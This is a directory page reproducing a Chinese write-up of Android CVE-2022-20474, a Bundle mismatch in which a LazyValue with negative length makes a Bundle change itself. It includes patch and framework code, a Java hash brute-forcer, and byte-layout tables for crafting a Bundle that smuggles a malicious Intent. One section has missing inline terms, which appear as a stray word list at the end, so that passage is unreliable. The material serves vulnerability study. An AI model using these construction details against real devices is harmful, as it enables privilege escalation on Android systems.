Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-20474 — 针对 Android CVE-2022-20474 的详细技术分析与概念验证,该漏洞是一种 Bundle 不匹配漏洞,利用具有负长度的 LazyValue 来实现自变更 Bundle 行为。 | Kitploit
工具/GitHubGitHub/cxxsheng/cve-2022-20474
Android安全漏洞分析漏洞利用论文与研究学习与教育二进制利用
GitHubcxxsheng/cve-2022-20474

CVE-2022-20474

针对 Android CVE-2022-20474 的详细技术分析与概念验证,该漏洞是一种 Bundle 不匹配漏洞,利用具有负长度的 LazyValue 来实现自变更 Bundle 行为。

查看仓库
20111年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-20474分析——LazyValue下的Self-changed Bundle

前言

温馨提示,阅读本文前,应当对Bundle Mismatch相关漏洞有初步了解,以下参考资料假如您还没有读过,建议先阅读一下:

  1. Bundle风水——Android序列化与反序列化不匹配漏洞详解:经典的入门级别教程。
  2. Android 反序列化漏洞攻防史话:很好的总结性文章。
  3. TheLastBundleMismatch:第一篇LazyValue模式下的Bundle Mismatch文章。

背景

最近正仔细学习michalbednarski的LeakValue文章。在与Canyie讨论的时候,他说在这篇文章中还提到了一种在LazyValue场景下Self-changing Bundle的情况,然后我就去翻找原文,果真有这么一段,而我在读Michal的文章的时候直接漏掉了。原文中如下说到:

(Also LazyValue with negative length specified can be used (without using other bugs described in this writeup) to create self-changing Bundle, the thing LazyValue was created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)

Michal指的应该就是CVE-2022-20474 (bulletin, patch),我瞅了一眼patch,但是补丁链接中函数并没有很完整,补全它之后再仔细看一下:

root@kitploit:~
@@ -4388,6 +4388,9 @@
    public Object readLazyValue(@Nullable ClassLoader loader) {
         int start = dataPosition();
         int type = readInt();
         if (isLengthPrefixed(type)) {
             int objectLength = readInt();
+            if (objectLength < 0) {
+                return null;
+            }
             int end = MathUtils.addOrThrow(dataPosition(), objectLength);
             int valueLength = end - start;
             setDataPosition(end);
             return new LazyValue(this, start, valueLength, type, loader);
         } else {
            return readValue(type, loader, /* clazz */ null);
         }
    }             

代码中的objectLength就是LazyValue中的length,事实上这只是LazyValue中包含的可变对象的长度,而整个LazyValue的长度应该是mLength字段来控制,即代码中的valueLength,其在LazyValue的构造函数中,将值传递给了mLength。

让我们在对照一下LazyValue的布局格式如下:

root@kitploit:~
       /**
         *                      |   4B   |   4B   |
         * mSource = Parcel{... |  type  | length | object | ...}
         *                      a        b        c        d
         * length = d - c
         * mPosition = a
         * mLength = d - a
         */

基于上述的内容,我们可以得到如下事实:

  1. mLength代表整个LazyValue的长度,mLength = objectLength + 8字节。
  2. objectLength应该大于等于0。
  3. LazyValue对象中只保存了mLength,而没保存objectLength,因为LazyValue作内存拷贝的时候是基于整个对象来做拷贝的。
  4. 读完之后的指针是前移的,可能还会再读一遍LazyValue

然后呢,经过深思熟虑,我们一致认为,这些事实没!啥!X!用!因为基于上面的事实,也只能在read的时候修改一次,而我们知道Self-changed Bundle的核心思想是read完成后再修改,才能绕过安全检查。

正当我们准备放弃的时候,突然发现了补丁的描述中有一些细节:

Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.

异常的objectLength

其中提到,objectLength为-8的时候,会存在一些问题,这个给了我们一些额外的启示。此时LazyValue还能正常的apply吗?

root@kitploit:~
        @Override
        public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    // Check mSource != null guarantees callers won't ever see different objects.
                    if (mSource != null) {
                        int restore = source.dataPosition();
                        try {
                            source.setDataPosition(mPosition);
                            mObject = source.readValue(mLoader, clazz, itemTypes);
                        } finally {
                            source.setDataPosition(restore);
                        }
                        mSource = null;
                    }
                }
            }
            return mObject;
        }

  	/**
     * @see #readValue(int, ClassLoader, Class, Class[])
     */
    @Nullable
    private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
            @Nullable Class<?>... itemTypes) {
        int type = readInt();
        final T object;
        if (isLengthPrefixed(type)) {
            int length = readInt();
            int start = dataPosition();
            object = readValue(type, loader, clazz, itemTypes);
            int actual = dataPosition() - start;
            if (actual != length) {
                Slog.wtfStack(TAG,
                        "Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
                                + "  consumed " + actual + " bytes, but " + length + " expected.");
            }
        } else {
            object = readValue(type, loader, clazz, itemTypes);
        }
        return object;
    }

可以看到真正的readValue会从mPosition开始读,然后依次读取LazyType和objectLength,然后就进入正常的Value读取流程了,例如Parcelable需要读取ClassName,然后执行createFromParcel,读取完成后,与普通的Key-Value没有任何区别,也不会对后续的序列化产生影响。再度回顾一下,Self-changed Bundle的核心思想是read完成后再修改,这里只不过是一个普通的越界读取而已,看来这个方向行不通。

那么LazyValue在此过程中没有apply呢,换言之就以LazyValue的身份继续参与IPC,此时会调用其writeToParcel函数:

root@kitploit:~
     public void writeToParcel(Parcel out) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    if (mSource != null) {
                        out.appendFrom(source, mPosition, mLength);
                        return;
                    }
                }
            }
            out.writeValue(mObject);
        }

整个LazyValue会直接复制过去,除非mLength = 0。等等!上文提到mLength = objectLength + 8字节,而从patch信息中可以知道,要想触发漏洞objectLength应为-8,那么此时mLength = 0就成立了。换言之,在这个场景下整个LazyValue就直接没了,只会拷贝String Key,这样就造成了一个缺失的写入,Self-changed Bundle的条件直接满足。

知道了原因,我们就能开始复现了,不过在这之前,我们还需要亿点点细节。

细节1 两种类型的Bundle

root@kitploit:~
 static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
 private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'

我们都知道,Bundle的内存布局中大致如下所示:

root@kitploit:~
       /**
         *        |   4B   |   4B   |   4B   |
         * Bundle{| length |  MAGIC |  size  | Key  | Value | Key  | Value | ...}
         *
         */

MAGIC是Bundle在内存布局中的魔数,可以BUNDLE_MAGIC或者BUNDLE_MAGIC_NATIVE,这两者最重要的区别是BUNDLE_MAGIC会让Key-Value在反序列化完成后,进行重新排序,如以下代码所示:

root@kitploit:~
 /**
     * Reads a map into {@code map}.
     *
     * @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
     * @param lazy   Whether to populate the map with lazy {@link Function} objects for
     *               length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
     *               details.
     * @return a count of the lazy values in the map
     * @hide
     */
    int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
            boolean lazy, @Nullable ClassLoader loader) {
        int lazyValues = 0;
        while (size > 0) {
            String key = readString();
            Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
            if (value instanceof LazyValue) {
                lazyValues++;
            }
            if (sorted) {
                map.append(key, value);
            } else {
                map.put(key, value);
            }
            size--;
        }
        if (sorted) {
            map.validate();
        }
        return lazyValues;
    }

MAGIC标志最终会影响到readArrayMap中的sorted的值,从而引发对map进行排序。注释中也提到,排序的方式会通过key String的hash值。

细节2 反序列化中的Overlap

root@kitploit:~
   /**
     *                 a
     * ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3  | Value3 |} 
     *
     */

让我们再度试想一下ArrayMap的解析流程。在第一轮解析的时候会先解析Key1,然后尝试解析LazyValue1。但是LazyValue1的objectLength为-8,parcel的指针会回到LazyValue1的开头,即a点,这就是在上文中提到的事实4,至此,第一个Key-Map已经解析完毕。第二个Key-Value是从a点开始解析的,此时会先读取String的长度,假设LazyValue1中包含的是Parcelable,那么这个长度就应该是4。因此,真正的Key2应该是从a点开始的,即 Key2 = LazyValue1 +。中没有包含任何数据,所以长度是+ 的8个字节,整个的长度则为4(长度标识)+ 4 * 2+ 4("\0")= 16个字节,除去重点8个字节,我们在构造的时候还需要在后面补8个字节,即2个。然后接着读取。因此,我们第一次解析的时候,需要用一个来应对解析一个为负数的而产生的指针前移的问题,而这个的值我们并不关心,因为它只在第一次解析的时候才用到,只是一个工具人。既然是用完即丢的工具人,那么第一次解析完成我希望它能够离我们的关键数据远一点,而且中才装了我们的恶意数据。最好的hash值能够大于,那么它就不会影响后续的解析了。通过,我们可以通过调整的hash值来完成这一目标,我们将在中进行详细介绍。然后我们进入了的解析,老规矩了,里放一个装恶意的即可,但是还有一些额外的限制。第一轮反序列化完成后,的布局应该是这样的,工具人被丢在了最后:

root@kitploit:~
Key1-Value1 | Key3-Value3 | Key2-Value2

而上文异常的objectLength中提到,LazyValue1的长度是0,所以在writeToParcel的时候,根本就没复制过去!事实上的布局是这样的:

root@kitploit:~
Key1 | Key3-Value3 | Key2-Value2

Key1读取完了之后还要嗷嗷待哺得去读取Value1,这里又又又又越界读取了,Key3还得承担起读取LazyValue1得重担。Key3中第一个int既要充当String长度的角色,还要充当LazyValue Type的角色,这就代表了Key3的长度不能太短,太短了hash不好算。看了一眼LazyValue Type的列表,我看中了:

root@kitploit:~
private static final int VAL_LIST  = 11; // length-prefixed

当然你要选12、16、17也行,反正别太短就行。

而Key3中第二个int还要充当LazyValue的Length,通过它,我们可以控制LazyValue1的长度,把下一个指针指到恶意Intent的开头就好了。你要说LazyValue1中的内容不合法?那和我没关系,你只要不调用getXXX来apply它,那他永远都是LazyValue。

细节3 暴破器实现

写一个暴破器即可:

root@kitploit:~
private static Pair<Integer, Integer> generateInt(){
        while (true) {
            Random random = new Random();
            int number1 = random.nextInt();
            int number2 = random.nextInt();
            Parcel parcel = Parcel.obtain();
            parcel.writeInt(11); //
            parcel.writeInt(32);
            parcel.writeInt(0);
            parcel.writeInt(0);
            parcel.writeInt(number1);
            parcel.writeInt(number2);
            parcel.writeInt(0);
            parcel.setDataPosition(0);
            String str = parcel.readString();
            if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() <  "Cxxsheng".hashCode() + 1000000)
            {
                parcel.recycle();
                return new Pair<>(number1, number2);
            }
            parcel.recycle();
        }

当然,我们也可以暴力破解Key2,把它调整到前面去,但是Key2的长度是固定的4,比较短,能操作的空间少一些,而Key3的长度我们在上文就预留了一些,让暴破起来轻松一些。假设我们的Key1是字符串"Cxxsheng",我们希望控制Key3的hash值能比"Cxxsheng"的hash大,但只大一点点,我设置了1000000,那样它们就能够有较大的概率永远在一起了,第三者Key2就无法插足了。上文提到过,string的前两个int是固定的。因此我们先写入VAL_LIST (也是String长度),通过计算得出离恶意的Intent还差32个字节,剩下的几个0都可以用来爆破了。随便选了2个爆破即可。

复现

可以通过number1和numbder2来操作第三个值在ArrayMap中的排序。因为ArrayMap是依据key的hashcode来排序的,这样可以让第三个的值在反序列化后变成第二个,紧跟在第一个"Cxxsheng"的后面,如下所示:

root@kitploit:~
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[一段乱码]=[恶意的ByteArray], [一段乱码]=0}]

可以看到我们读取的顺序也会和写入的顺序不一样。在完成写入后,上文我们分析过一整个LazyValue都被丢了,而第三个Key-Value被重新排序到第二个,其中也包括type和objectLength,因此,页面布局将变成如下所示:

利用

读者可以自行利用经典的AccountManagerService利用链,至于能否利用本文不再多做赘述,因为这取决于2022年11月份的补丁中有没有checkKeyIntentParceledCorrectly函数。在此额外解释一下,该函数利用了模拟IPC的调用流程,来阻断了AccountManagerService利用链。因此,在Android 12或者13上即使存在Mismatch,也未必可以利用成功,需要寻找bypass该函数的方法。

我们可以仿写一下这个函数,来模拟IPC调用流程如下:

root@kitploit:~
    private Bundle simulateIPCBundle(Bundle originBundle){
        Parcel p = Parcel.obtain();
        p.writeBundle(originBundle);
        p.setDataPosition(0);
        byte[] bs = p.marshall(); //debug的时候这里可以在这里看到parcel数据
        // marshall不会改变Parcel指针
        // p.setDataPosition(0); 
        Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
        p.recycle();
        return simulateBundle;
    }

然后欣赏一下通过模拟IPC调用流程的日志输出图,具体可以参考我的Github代码: description

下载工具
FakeKey2
LazyValue1
LazyType
objectLength
string
LazyValue1
writeInt
Value2
Key2-Value2
objectLength
LazyValue1
Key2-Value2
Key3-Value3
Key2
Key1
细节1
Key3
细节3
Key2-Value2
Bundle mismatch
Value3
ByteArray
Intent
Key3
ArrayMap
Key2-Value2
值说明
"Cxxsheng"第一个key
4会读取两轮:第一轮代表VAL_PARCELABLE;第二轮变成第二个Key的String Length
-8会读取两轮:第一轮代表LazyValue的objectLength,会导致读取指针前移,导致两轮读取;第二轮变成第二个Key 的String Value
0第二个Key 的String Value
0第二个Key 的String Value
1VAL_INTEGER
0第二个Value
11第三个Key的String Length
32第三个Key的String Value
0第三个Key的String Value
0第三个Key的String Value
number1第三个Key的String Value,这两个值用于调整排序
number2第三个Key的String Value,这两个值用于调整排序
0第三个Key的String Value
13VAL_BYTEARRAY
LazyValue的长度计算得出
ByteArray的长度计算得出
ByteArray其中包含了了恶意的Key-Value,即Intent.EXTRA_INTENT和其Intent
值说明
"Cxxsheng"第一个key
11VAL_LIST
32第一个Value的长度,后面的合不合法已经都不重要(反正不会去apply这个LazyValue),这个直接指到ByteArray中恶意Intent的前面
0LazyValue中的值
0LazyValue中的值
number1LazyValue中的值
number2LazyValue中的值
0LazyValue中的值
13LazyValue中的值
LazyValue的长度LazyValue中的值
ByteArray的长度LazyValue中的值
ByteArray开始/Intent.EXTRA_INTENT第二个Key
Intent第二个Value
第三个Key-Value被排到了最后